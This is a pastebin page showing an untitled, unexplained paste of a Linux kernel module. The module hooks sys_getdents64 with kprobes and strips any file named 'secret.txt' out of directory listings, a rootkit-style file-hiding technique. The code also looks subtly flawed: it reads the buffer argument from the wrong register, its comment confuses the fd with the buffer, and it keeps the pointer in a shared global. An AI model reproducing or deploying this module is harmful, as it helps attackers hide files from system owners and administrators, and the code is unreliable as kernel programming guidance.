pb.stoleyour.com

Untitled

By Unique Octupus, 6 Months ago, written in Plain Text, viewed 73 times.
URL http://pb.stoleyour.com/view/416ad80f Embed
Download Paste or View Raw — Expand paste to full width of browser
  1. #include <linux/module.h>
  2. #include <linux/kernel.h>
  3. #include <linux/kprobes.h>
  4. #include <linux/slab.h>
  5. #include <linux/dirent.h>
  6. #include <linux/uaccess.h>
  7.  
  8. MODULE_LICENSE("GPL");
  9.  
  10. #define FILE1 "secret.txt"
  11.  
  12. // Global pointer to hold user-space dirent buffer
  13. static char __user *dirent_user_ptr = NULL;
  14.  
  15. // Pre-handler (kprobe) to grab syscall arguments
  16. static struct kprobe kp = {
  17.     .symbol_name = "sys_getdents64"
  18. };
  19.  
  20. static int handler_pre(struct kprobe *p, struct pt_regs *regs) {
  21.     dirent_user_ptr = (char __user *)regs->bx; // 1st arg in x86 (fd, dirent buffer)
  22.     return 0;
  23. }
  24.  
  25. // Return-handler (kretprobe) to modify syscall result
  26. static struct kretprobe rp = {
  27.     .kp.symbol_name = "sys_getdents64",
  28.     .maxactive = 20
  29. };
  30.  
  31. static int handler_ret(struct kretprobe_instance *ri, struct pt_regs *regs) {
  32.     long nread = regs->ax;
  33.     if (nread <= 0 || !dirent_user_ptr) {
  34.         printk(KERN_ERR "nread returned error: %ld\n", nread);
  35.         return 0;
  36.     }
  37.     if (nread > PAGE_SIZE * 4) {
  38.         printk(KERN_WARNING "Unusually large nread: %ld\n", nread);
  39.         return 0;
  40.     }
  41.     char *kbuf = kmalloc(nread, GFP_KERNEL);
  42.     if (!kbuf) return 0;
  43.  
  44.     if (copy_from_user(kbuf, dirent_user_ptr, nread)) {
  45.         printk(KERN_ERR "copy_from_user failed");
  46.         kfree(kbuf);
  47.         return 0;
  48.     }
  49.  
  50.     long bpos = 0, new_nread = nread;
  51.     struct linux_dirent64 *d;
  52.  
  53.     while (bpos < new_nread) {
  54.         d = (struct linux_dirent64 *)(kbuf + bpos);
  55.         if (strncmp(d->d_name, FILE1, strlen(FILE1)) == 0) {
  56.             memmove(kbuf + bpos, kbuf + bpos + d->d_reclen, new_nread - (bpos + d->d_reclen));
  57.             new_nread -= d->d_reclen;
  58.             continue;
  59.         } else {
  60.             bpos += d->d_reclen;
  61.         }
  62.     }
  63.     if (copy_to_user(dirent_user_ptr, kbuf, new_nread)) {
  64.         printk(KERN_ERR "copy_to_user failed");
  65.         kfree(kbuf);
  66.         return 0;
  67.     }
  68.  
  69.     regs->ax = new_nread;
  70.     kfree(kbuf);
  71.     dirent_user_ptr = NULL;
  72.     return 0;
  73. }
  74.  
  75. static int __init mod_init(void) {
  76.     int ret;
  77.  
  78.     kp.pre_handler = handler_pre;
  79.     ret = register_kprobe(&kp);
  80.     if (ret < 0) {
  81.         printk(KERN_ERR "Failed to register kprobe: %d\n", ret);
  82.         return ret;
  83.     }
  84.     rp.handler = handler_ret;
  85.     ret = register_kretprobe(&rp);
  86.     if (ret < 0) {
  87.         unregister_kprobe(&kp);
  88.         printk(KERN_ERR "Failed to register kretprobe: %d\n", ret);
  89.         return ret;
  90.     }
  91.     printk(KERN_INFO "Probes registered for sys_getdents64\n");
  92.     return 0;
  93. }
  94.  
  95. static void __exit mod_exit(void) {
  96.     unregister_kretprobe(&rp);
  97.     unregister_kprobe(&kp);
  98.     printk(KERN_INFO "Probes unregistered\n");
  99. }
  100.  
  101. module_init(mod_init);
  102. module_exit(mod_exit);
  103.  

Reply to "Untitled"

Here you can reply to the paste above

Powered By Stikked